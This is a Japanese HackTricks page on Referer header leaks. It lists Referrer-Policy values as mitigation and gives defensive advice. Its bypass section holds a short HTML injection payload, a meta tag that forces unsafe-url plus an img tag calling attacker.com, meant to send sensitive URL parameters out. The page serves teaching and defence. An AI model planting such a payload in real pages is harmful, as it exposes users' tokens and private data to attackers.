mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
62 lines
4 KiB
Markdown
62 lines
4 KiB
Markdown
|
<details>
|
|||
|
|
|
|||
|
|
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>
|
|||
|
|
|
|||
|
|
HackTricksをサポートする他の方法:
|
|||
|
|
|
|||
|
|
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
|||
|
|
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
|||
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
|||
|
|
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
|||
|
|
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
|||
|
|
|
|||
|
|
</details>
|
|||
|
|
|
|||
|
|
|
|||
|
|
# Referrerヘッダーとポリシー
|
|||
|
|
|
|||
|
|
Referrerは、ブラウザが前に訪れたページを示すために使用するヘッダーです。
|
|||
|
|
|
|||
|
|
## 漏洩した機密情報
|
|||
|
|
|
|||
|
|
ウェブページ内のどこかでGETリクエストのパラメータに機密情報がある場合、ページに外部ソースへのリンクが含まれているか、攻撃者がユーザーに攻撃者がコントロールするURLを訪れるように仕向ける（ソーシャルエンジニアリング）ことができれば、最新のGETリクエスト内の機密情報を外部に流出させる可能性があります。
|
|||
|
|
|
|||
|
|
## 軽減策
|
|||
|
|
|
|||
|
|
ブラウザに**Referrer-policy**に従わせることで、機密情報が他のウェブアプリケーションに送信されるのを**避ける**ことができます：
|
|||
|
|
```
|
|||
|
|
Referrer-Policy: no-referrer
|
|||
|
|
Referrer-Policy: no-referrer-when-downgrade
|
|||
|
|
Referrer-Policy: origin
|
|||
|
|
Referrer-Policy: origin-when-cross-origin
|
|||
|
|
Referrer-Policy: same-origin
|
|||
|
|
Referrer-Policy: strict-origin
|
|||
|
|
Referrer-Policy: strict-origin-when-cross-origin
|
|||
|
|
Referrer-Policy: unsafe-url
|
|||
|
|
```
|
|||
|
|
## 対策回避
|
|||
|
|
|
|||
|
|
このルールはHTMLメタタグを使用して上書きすることができます（攻撃者はHTMLインジェクションを悪用する必要があります）：
|
|||
|
|
```markup
|
|||
|
|
<meta name="referrer" content="unsafe-url">
|
|||
|
|
<img src="https://attacker.com">
|
|||
|
|
```
|
|||
|
|
## 防御
|
|||
|
|
|
|||
|
|
URLのGETパラメーターやパス内に機密データを決して含めないでください。
|
|||
|
|
|
|||
|
|
|
|||
|
|
<details>
|
|||
|
|
|
|||
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
|||
|
|
|
|||
|
|
HackTricksをサポートする他の方法:
|
|||
|
|
|
|||
|
|
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
|||
|
|
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れる
|
|||
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
|||
|
|
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
|||
|
|
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
|
|||
|
|
|
|||
|
|
</details>
|